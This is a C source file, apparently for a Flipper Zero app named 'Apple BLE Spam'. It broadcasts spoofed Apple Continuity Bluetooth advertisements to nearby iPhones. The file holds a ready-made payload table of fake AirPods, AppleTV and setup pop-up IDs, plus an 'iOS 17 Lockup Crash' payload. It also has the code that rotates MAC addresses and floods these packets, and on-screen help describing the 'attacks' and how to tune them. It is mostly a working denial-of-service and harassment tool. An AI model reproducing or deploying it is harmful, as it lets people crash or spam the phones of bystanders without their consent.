apple_ble_spam.c 27 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836
  1. #include <gui/gui.h>
  2. #include <gui/elements.h>
  3. #include <furi_hal_bt.h>
  4. #include <furi_hal_random.h>
  5. #include "apple_ble_spam_icons.h"
  6. #include "lib/continuity/continuity.h"
  7. typedef struct {
  8. const char* title;
  9. const char* text;
  10. bool random;
  11. ContinuityMsg msg;
  12. } Payload;
  13. // Hacked together by @Willy-JL
  14. // Custom adv logic by @Willy-JL (idea by @xMasterX)
  15. // iOS 17 Crash by @ECTO-1A
  16. // Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
  17. // Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
  18. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  19. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  20. static Payload
  21. payloads[] =
  22. {
  23. #if false
  24. {.title = "AirDrop",
  25. .text = "",
  26. .random = false,
  27. .msg =
  28. {
  29. .type = ContinuityTypeAirDrop,
  30. .data = {.airdrop = {}},
  31. }},
  32. {.title = "Airplay Target",
  33. .text = "",
  34. .random = false,
  35. .msg =
  36. {
  37. .type = ContinuityTypeAirplayTarget,
  38. .data = {.airplay_target = {}},
  39. }},
  40. {.title = "Handoff",
  41. .text = "",
  42. .random = false,
  43. .msg =
  44. {
  45. .type = ContinuityTypeHandoff,
  46. .data = {.handoff = {}},
  47. }},
  48. {.title = "Tethering Source",
  49. .text = "",
  50. .random = false,
  51. .msg =
  52. {
  53. .type = ContinuityTypeTetheringSource,
  54. .data = {.tethering_source = {}},
  55. }},
  56. {.title = "Mobile Backup",
  57. .text = "",
  58. .random = false,
  59. .msg =
  60. {
  61. .type = ContinuityTypeNearbyAction,
  62. .data = {.nearby_action = {.flags = 0xC0, .type = 0x04}},
  63. }},
  64. {.title = "Watch Setup",
  65. .text = "",
  66. .random = false,
  67. .msg =
  68. {
  69. .type = ContinuityTypeNearbyAction,
  70. .data = {.nearby_action = {.flags = 0xC0, .type = 0x05}},
  71. }},
  72. {.title = "Internet Relay",
  73. .text = "",
  74. .random = false,
  75. .msg =
  76. {
  77. .type = ContinuityTypeNearbyAction,
  78. .data = {.nearby_action = {.flags = 0xC0, .type = 0x07}},
  79. }},
  80. {.title = "WiFi Password",
  81. .text = "",
  82. .random = false,
  83. .msg =
  84. {
  85. .type = ContinuityTypeNearbyAction,
  86. .data = {.nearby_action = {.flags = 0xC0, .type = 0x08}},
  87. }},
  88. {.title = "Repair",
  89. .text = "",
  90. .random = false,
  91. .msg =
  92. {
  93. .type = ContinuityTypeNearbyAction,
  94. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0A}},
  95. }},
  96. {.title = "Apple Pay",
  97. .text = "",
  98. .random = false,
  99. .msg =
  100. {
  101. .type = ContinuityTypeNearbyAction,
  102. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0C}},
  103. }},
  104. {.title = "Developer Tools Pairing Request",
  105. .text = "",
  106. .random = false,
  107. .msg =
  108. {
  109. .type = ContinuityTypeNearbyAction,
  110. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0E}},
  111. }},
  112. {.title = "Answered Call",
  113. .text = "",
  114. .random = false,
  115. .msg =
  116. {
  117. .type = ContinuityTypeNearbyAction,
  118. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0F}},
  119. }},
  120. {.title = "Ended Call",
  121. .text = "",
  122. .random = false,
  123. .msg =
  124. {
  125. .type = ContinuityTypeNearbyAction,
  126. .data = {.nearby_action = {.flags = 0xC0, .type = 0x10}},
  127. }},
  128. {.title = "DD Ping",
  129. .text = "",
  130. .random = false,
  131. .msg =
  132. {
  133. .type = ContinuityTypeNearbyAction,
  134. .data = {.nearby_action = {.flags = 0xC0, .type = 0x11}},
  135. }},
  136. {.title = "DD Pong",
  137. .text = "",
  138. .random = false,
  139. .msg =
  140. {
  141. .type = ContinuityTypeNearbyAction,
  142. .data = {.nearby_action = {.flags = 0xC0, .type = 0x12}},
  143. }},
  144. {.title = "Companion Link Proximity",
  145. .text = "",
  146. .random = false,
  147. .msg =
  148. {
  149. .type = ContinuityTypeNearbyAction,
  150. .data = {.nearby_action = {.flags = 0xC0, .type = 0x14}},
  151. }},
  152. {.title = "Remote Management",
  153. .text = "",
  154. .random = false,
  155. .msg =
  156. {
  157. .type = ContinuityTypeNearbyAction,
  158. .data = {.nearby_action = {.flags = 0xC0, .type = 0x15}},
  159. }},
  160. {.title = "Remote Auto Fill Pong",
  161. .text = "",
  162. .random = false,
  163. .msg =
  164. {
  165. .type = ContinuityTypeNearbyAction,
  166. .data = {.nearby_action = {.flags = 0xC0, .type = 0x16}},
  167. }},
  168. {.title = "Remote Display",
  169. .text = "",
  170. .random = false,
  171. .msg =
  172. {
  173. .type = ContinuityTypeNearbyAction,
  174. .data = {.nearby_action = {.flags = 0xC0, .type = 0x17}},
  175. }},
  176. {.title = "Nearby Info",
  177. .text = "",
  178. .random = false,
  179. .msg =
  180. {
  181. .type = ContinuityTypeNearbyInfo,
  182. .data = {.nearby_info = {}},
  183. }},
  184. #endif
  185. {.title = "Lockup Crash",
  186. .text = "iOS 17, locked, long range",
  187. .random = false,
  188. .msg =
  189. {
  190. .type = ContinuityTypeCustomCrash,
  191. .data = {.custom_crash = {}},
  192. }},
  193. {.title = "Random Action",
  194. .text = "Spam shuffle Nearby Actions",
  195. .random = true,
  196. .msg =
  197. {
  198. .type = ContinuityTypeNearbyAction,
  199. .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
  200. }},
  201. {.title = "Random Pair",
  202. .text = "Spam shuffle Proximity Pairs",
  203. .random = true,
  204. .msg =
  205. {
  206. .type = ContinuityTypeProximityPair,
  207. .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
  208. }},
  209. {.title = "AppleTV AutoFill",
  210. .text = "Banner, unlocked, long range",
  211. .random = false,
  212. .msg =
  213. {
  214. .type = ContinuityTypeNearbyAction,
  215. .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
  216. }},
  217. {.title = "AppleTV Connecting...",
  218. .text = "Modal, unlocked, long range",
  219. .random = false,
  220. .msg =
  221. {
  222. .type = ContinuityTypeNearbyAction,
  223. .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
  224. }},
  225. {.title = "Join This AppleTV?",
  226. .text = "Modal, unlocked, spammy",
  227. .random = false,
  228. .msg =
  229. {
  230. .type = ContinuityTypeNearbyAction,
  231. .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}},
  232. }},
  233. {.title = "AppleTV Audio Sync",
  234. .text = "Banner, locked, long range",
  235. .random = false,
  236. .msg =
  237. {
  238. .type = ContinuityTypeNearbyAction,
  239. .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
  240. }},
  241. {.title = "AppleTV Color Balance",
  242. .text = "Banner, locked",
  243. .random = false,
  244. .msg =
  245. {
  246. .type = ContinuityTypeNearbyAction,
  247. .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
  248. }},
  249. {.title = "Setup New iPhone",
  250. .text = "Modal, locked",
  251. .random = false,
  252. .msg =
  253. {
  254. .type = ContinuityTypeNearbyAction,
  255. .data = {.nearby_action = {.flags = 0xC0, .type = 0x09}},
  256. }},
  257. {.title = "Setup New Random",
  258. .text = "Modal, locked, glitched",
  259. .random = false,
  260. .msg =
  261. {
  262. .type = ContinuityTypeNearbyAction,
  263. .data = {.nearby_action = {.flags = 0x40, .type = 0x09}},
  264. }},
  265. {.title = "Transfer Phone Number",
  266. .text = "Modal, locked",
  267. .random = false,
  268. .msg =
  269. {
  270. .type = ContinuityTypeNearbyAction,
  271. .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
  272. }},
  273. {.title = "HomePod Setup",
  274. .text = "Modal, unlocked",
  275. .random = false,
  276. .msg =
  277. {
  278. .type = ContinuityTypeNearbyAction,
  279. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
  280. }},
  281. {.title = "AirPods Pro",
  282. .text = "Modal, spammy (auto close)",
  283. .random = false,
  284. .msg =
  285. {
  286. .type = ContinuityTypeProximityPair,
  287. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
  288. }},
  289. {.title = "Beats Solo 3",
  290. .text = "Modal, spammy (stays open)",
  291. .random = false,
  292. .msg =
  293. {
  294. .type = ContinuityTypeProximityPair,
  295. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
  296. }},
  297. {.title = "AirPods Max",
  298. .text = "Modal, laggy (stays open)",
  299. .random = false,
  300. .msg =
  301. {
  302. .type = ContinuityTypeProximityPair,
  303. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
  304. }},
  305. {.title = "Beats Flex",
  306. .text = "Modal, laggy (stays open)",
  307. .random = false,
  308. .msg =
  309. {
  310. .type = ContinuityTypeProximityPair,
  311. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
  312. }},
  313. {.title = "Airtag",
  314. .text = "Modal, unlocked",
  315. .random = false,
  316. .msg =
  317. {
  318. .type = ContinuityTypeProximityPair,
  319. .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
  320. }},
  321. {.title = "Hermes Airtag",
  322. .text = "",
  323. .random = false,
  324. .msg =
  325. {
  326. .type = ContinuityTypeProximityPair,
  327. .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
  328. }},
  329. {.title = "Setup New AppleTV",
  330. .text = "Modal, unlocked",
  331. .random = false,
  332. .msg =
  333. {
  334. .type = ContinuityTypeNearbyAction,
  335. .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
  336. }},
  337. {.title = "Pair AppleTV",
  338. .text = "Modal, unlocked",
  339. .random = false,
  340. .msg =
  341. {
  342. .type = ContinuityTypeNearbyAction,
  343. .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
  344. }},
  345. {.title = "HomeKit AppleTV Setup",
  346. .text = "Modal, unlocked",
  347. .random = false,
  348. .msg =
  349. {
  350. .type = ContinuityTypeNearbyAction,
  351. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
  352. }},
  353. {.title = "AppleID for AppleTV?",
  354. .text = "Modal, unlocked",
  355. .random = false,
  356. .msg =
  357. {
  358. .type = ContinuityTypeNearbyAction,
  359. .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
  360. }},
  361. {.title = "AirPods",
  362. .text = "Modal, spammy (auto close)",
  363. .random = false,
  364. .msg =
  365. {
  366. .type = ContinuityTypeProximityPair,
  367. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}},
  368. }},
  369. {.title = "AirPods 2nd Gen",
  370. .text = "Modal, spammy (auto close)",
  371. .random = false,
  372. .msg =
  373. {
  374. .type = ContinuityTypeProximityPair,
  375. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}},
  376. }},
  377. {.title = "AirPods 3rd Gen",
  378. .text = "Modal, spammy (auto close)",
  379. .random = false,
  380. .msg =
  381. {
  382. .type = ContinuityTypeProximityPair,
  383. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}},
  384. }},
  385. {.title = "AirPods Pro 2nd Gen",
  386. .text = "Modal, spammy (auto close)",
  387. .random = false,
  388. .msg =
  389. {
  390. .type = ContinuityTypeProximityPair,
  391. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}},
  392. }},
  393. {.title = "Powerbeats 3",
  394. .text = "Modal, spammy (stays open)",
  395. .random = false,
  396. .msg =
  397. {
  398. .type = ContinuityTypeProximityPair,
  399. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}},
  400. }},
  401. {.title = "Powerbeats Pro",
  402. .text = "Modal, spammy (auto close)",
  403. .random = false,
  404. .msg =
  405. {
  406. .type = ContinuityTypeProximityPair,
  407. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}},
  408. }},
  409. {.title = "Beats Solo Pro",
  410. .text = "",
  411. .random = false,
  412. .msg =
  413. {
  414. .type = ContinuityTypeProximityPair,
  415. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}},
  416. }},
  417. {.title = "Beats Studio Buds",
  418. .text = "Modal, spammy (auto close)",
  419. .random = false,
  420. .msg =
  421. {
  422. .type = ContinuityTypeProximityPair,
  423. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}},
  424. }},
  425. {.title = "Beats X",
  426. .text = "Modal, spammy (stays open)",
  427. .random = false,
  428. .msg =
  429. {
  430. .type = ContinuityTypeProximityPair,
  431. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}},
  432. }},
  433. {.title = "Beats Studio 3",
  434. .text = "Modal, spammy (stays open)",
  435. .random = false,
  436. .msg =
  437. {
  438. .type = ContinuityTypeProximityPair,
  439. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}},
  440. }},
  441. {.title = "Beats Studio Pro",
  442. .text = "Modal, spammy (stays open)",
  443. .random = false,
  444. .msg =
  445. {
  446. .type = ContinuityTypeProximityPair,
  447. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}},
  448. }},
  449. {.title = "Beats Fit Pro",
  450. .text = "Modal, spammy (auto close)",
  451. .random = false,
  452. .msg =
  453. {
  454. .type = ContinuityTypeProximityPair,
  455. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}},
  456. }},
  457. {.title = "Beats Studio Buds+",
  458. .text = "Modal, spammy (auto close)",
  459. .random = false,
  460. .msg =
  461. {
  462. .type = ContinuityTypeProximityPair,
  463. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
  464. }},
  465. };
  466. #define PAYLOAD_COUNT ((signed)COUNT_OF(payloads))
  467. struct {
  468. uint8_t count;
  469. ContinuityData** datas;
  470. } randoms[ContinuityTypeCount] = {0};
  471. uint16_t delays[] = {
  472. 20,
  473. 50,
  474. 100,
  475. 150,
  476. 200,
  477. 300,
  478. 400,
  479. 500,
  480. 750,
  481. 1000,
  482. 1500,
  483. 2000,
  484. 2500,
  485. 3000,
  486. 4000,
  487. 5000,
  488. };
  489. typedef struct {
  490. bool resume;
  491. bool advertising;
  492. uint8_t delay;
  493. uint8_t size;
  494. uint8_t* packet;
  495. Payload* payload;
  496. FuriThread* thread;
  497. uint8_t mac[GAP_MAC_ADDR_SIZE];
  498. int8_t index;
  499. } State;
  500. static int32_t adv_thread(void* ctx) {
  501. State* state = ctx;
  502. Payload* payload = state->payload;
  503. ContinuityMsg* msg = &payload->msg;
  504. ContinuityType type = msg->type;
  505. while(state->advertising) {
  506. if(payload->random) {
  507. uint8_t random_i = rand() % randoms[type].count;
  508. memcpy(&msg->data, randoms[type].datas[random_i], sizeof(msg->data));
  509. }
  510. continuity_generate_packet(msg, state->packet);
  511. furi_hal_bt_custom_adv_set(state->packet, state->size);
  512. furi_thread_flags_wait(true, FuriFlagWaitAny, delays[state->delay]);
  513. }
  514. return 0;
  515. }
  516. static void stop_adv(State* state) {
  517. state->advertising = false;
  518. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  519. furi_thread_join(state->thread);
  520. furi_hal_bt_custom_adv_stop();
  521. }
  522. static void start_adv(State* state) {
  523. state->advertising = true;
  524. furi_thread_start(state->thread);
  525. uint16_t delay = delays[state->delay];
  526. furi_hal_bt_custom_adv_start(delay, delay, 0x00, state->mac, 0x1F);
  527. }
  528. static void toggle_adv(State* state, Payload* payload) {
  529. if(state->advertising) {
  530. stop_adv(state);
  531. if(state->resume) furi_hal_bt_start_advertising();
  532. state->payload = NULL;
  533. free(state->packet);
  534. state->packet = NULL;
  535. state->size = 0;
  536. } else {
  537. state->size = continuity_get_packet_size(payload->msg.type);
  538. state->packet = malloc(state->size);
  539. state->payload = payload;
  540. furi_hal_random_fill_buf(state->mac, sizeof(state->mac));
  541. state->resume = furi_hal_bt_is_active();
  542. furi_hal_bt_stop_advertising();
  543. start_adv(state);
  544. }
  545. }
  546. #define PAGE_MIN (-5)
  547. #define PAGE_MAX PAYLOAD_COUNT
  548. enum {
  549. PageApps = PAGE_MIN,
  550. PageDelay,
  551. PageDistance,
  552. PageProximityPair,
  553. PageNearbyAction,
  554. PageStart = 0,
  555. PageEnd = PAYLOAD_COUNT - 1,
  556. PageAbout = PAGE_MAX,
  557. };
  558. static void draw_callback(Canvas* canvas, void* ctx) {
  559. State* state = ctx;
  560. const char* back = "Back";
  561. const char* next = "Next";
  562. switch(state->index) {
  563. case PageStart - 1:
  564. next = "Spam";
  565. break;
  566. case PageStart:
  567. back = "Help";
  568. break;
  569. case PageEnd:
  570. next = "About";
  571. break;
  572. case PageEnd + 1:
  573. back = "Spam";
  574. break;
  575. }
  576. canvas_set_font(canvas, FontSecondary);
  577. canvas_draw_icon(canvas, 3, 4, &I_apple_10px);
  578. canvas_draw_str(canvas, 14, 12, "Apple BLE Spam");
  579. switch(state->index) {
  580. case PageApps:
  581. canvas_set_font(canvas, FontBatteryPercent);
  582. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  583. elements_text_box(
  584. canvas,
  585. 4,
  586. 16,
  587. 120,
  588. 48,
  589. AlignLeft,
  590. AlignTop,
  591. "\e#Some Apps\e# interfere\n"
  592. "with the attacks, stay on\n"
  593. "homescreen for best results",
  594. false);
  595. break;
  596. case PageDelay:
  597. canvas_set_font(canvas, FontBatteryPercent);
  598. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  599. elements_text_box(
  600. canvas,
  601. 4,
  602. 16,
  603. 120,
  604. 48,
  605. AlignLeft,
  606. AlignTop,
  607. "\e#Delay\e# is time between\n"
  608. "attack attempts (top right),\n"
  609. "keep 20ms for best results",
  610. false);
  611. break;
  612. case PageDistance:
  613. canvas_set_font(canvas, FontBatteryPercent);
  614. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  615. elements_text_box(
  616. canvas,
  617. 4,
  618. 16,
  619. 120,
  620. 48,
  621. AlignLeft,
  622. AlignTop,
  623. "\e#Distance\e# is limited, attacks\n"
  624. "work under 1 meter but a\n"
  625. "few are marked 'long range'",
  626. false);
  627. break;
  628. case PageProximityPair:
  629. canvas_set_font(canvas, FontBatteryPercent);
  630. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  631. elements_text_box(
  632. canvas,
  633. 4,
  634. 16,
  635. 120,
  636. 48,
  637. AlignLeft,
  638. AlignTop,
  639. "\e#Proximity Pair\e# attacks\n"
  640. "keep spamming but work at\n"
  641. "very close range",
  642. false);
  643. break;
  644. case PageNearbyAction:
  645. canvas_set_font(canvas, FontBatteryPercent);
  646. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  647. elements_text_box(
  648. canvas,
  649. 4,
  650. 16,
  651. 120,
  652. 48,
  653. AlignLeft,
  654. AlignTop,
  655. "\e#Nearby Actions\e# work one\n"
  656. "time then need to lock and\n"
  657. "unlock the phone",
  658. false);
  659. break;
  660. case PageAbout:
  661. canvas_set_font(canvas, FontBatteryPercent);
  662. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "About");
  663. elements_text_box(
  664. canvas,
  665. 4,
  666. 16,
  667. 122,
  668. 48,
  669. AlignLeft,
  670. AlignTop,
  671. "App+Spam by \e#WillyJL\e# XFW\n"
  672. "IDs and Crash by \e#ECTO-1A\e#\n"
  673. "Continuity by \e#furiousMAC\e#\n"
  674. " Version \e#1.2\e#",
  675. false);
  676. break;
  677. default: {
  678. if(state->index < 0 || state->index > PAYLOAD_COUNT - 1) break;
  679. const Payload* payload = &payloads[state->index];
  680. char str[32];
  681. canvas_set_font(canvas, FontBatteryPercent);
  682. snprintf(str, sizeof(str), "%ims", delays[state->delay]);
  683. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
  684. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  685. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  686. canvas_set_font(canvas, FontBatteryPercent);
  687. snprintf(
  688. str,
  689. sizeof(str),
  690. "%02i/%02i: %s",
  691. state->index + 1,
  692. PAYLOAD_COUNT,
  693. continuity_get_type_name(payload->msg.type));
  694. canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
  695. canvas_set_font(canvas, FontPrimary);
  696. canvas_draw_str(canvas, 4, 32, payload->title);
  697. canvas_set_font(canvas, FontSecondary);
  698. canvas_draw_str(canvas, 4, 46, payload->text);
  699. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  700. break;
  701. }
  702. }
  703. if(state->index > PAGE_MIN) {
  704. elements_button_left(canvas, back);
  705. }
  706. if(state->index < PAGE_MAX) {
  707. elements_button_right(canvas, next);
  708. }
  709. }
  710. static void input_callback(InputEvent* input, void* ctx) {
  711. FuriMessageQueue* input_queue = ctx;
  712. if(input->type == InputTypeShort || input->type == InputTypeLong ||
  713. input->type == InputTypeRepeat) {
  714. furi_message_queue_put(input_queue, input, 0);
  715. }
  716. }
  717. int32_t apple_ble_spam(void* p) {
  718. UNUSED(p);
  719. for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
  720. if(payloads[payload_i].random) continue;
  721. randoms[payloads[payload_i].msg.type].count++;
  722. }
  723. for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
  724. if(!randoms[type].count) continue;
  725. randoms[type].datas = malloc(sizeof(ContinuityData*) * randoms[type].count);
  726. uint8_t random_i = 0;
  727. for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
  728. if(payloads[payload_i].random) continue;
  729. if(payloads[payload_i].msg.type == type) {
  730. randoms[type].datas[random_i++] = &payloads[payload_i].msg.data;
  731. }
  732. }
  733. }
  734. State* state = malloc(sizeof(State));
  735. state->thread = furi_thread_alloc();
  736. furi_thread_set_callback(state->thread, adv_thread);
  737. furi_thread_set_context(state->thread, state);
  738. furi_thread_set_stack_size(state->thread, 2048);
  739. FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
  740. ViewPort* view_port = view_port_alloc();
  741. Gui* gui = furi_record_open(RECORD_GUI);
  742. view_port_input_callback_set(view_port, input_callback, input_queue);
  743. view_port_draw_callback_set(view_port, draw_callback, state);
  744. gui_add_view_port(gui, view_port, GuiLayerFullscreen);
  745. bool running = true;
  746. while(running) {
  747. InputEvent input;
  748. furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
  749. Payload* payload = (state->index >= 0 && state->index <= PAYLOAD_COUNT - 1) ?
  750. &payloads[state->index] :
  751. NULL;
  752. bool advertising = state->advertising;
  753. switch(input.key) {
  754. case InputKeyOk:
  755. if(payload) toggle_adv(state, payload);
  756. break;
  757. case InputKeyUp:
  758. if(payload && state->delay < COUNT_OF(delays) - 1) {
  759. if(advertising) stop_adv(state);
  760. state->delay++;
  761. if(advertising) start_adv(state);
  762. }
  763. break;
  764. case InputKeyDown:
  765. if(payload && state->delay > 0) {
  766. if(advertising) stop_adv(state);
  767. state->delay--;
  768. if(advertising) start_adv(state);
  769. }
  770. break;
  771. case InputKeyLeft:
  772. if(state->index > PAGE_MIN) {
  773. if(advertising) toggle_adv(state, payload);
  774. state->index--;
  775. }
  776. break;
  777. case InputKeyRight:
  778. if(state->index < PAGE_MAX) {
  779. if(advertising) toggle_adv(state, payload);
  780. state->index++;
  781. }
  782. break;
  783. case InputKeyBack:
  784. if(advertising) toggle_adv(state, payload);
  785. running = false;
  786. break;
  787. default:
  788. continue;
  789. }
  790. view_port_update(view_port);
  791. }
  792. gui_remove_view_port(gui, view_port);
  793. furi_record_close(RECORD_GUI);
  794. view_port_free(view_port);
  795. furi_message_queue_free(input_queue);
  796. furi_thread_free(state->thread);
  797. free(state);
  798. for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
  799. free(randoms[type].datas);
  800. }
  801. return 0;
  802. }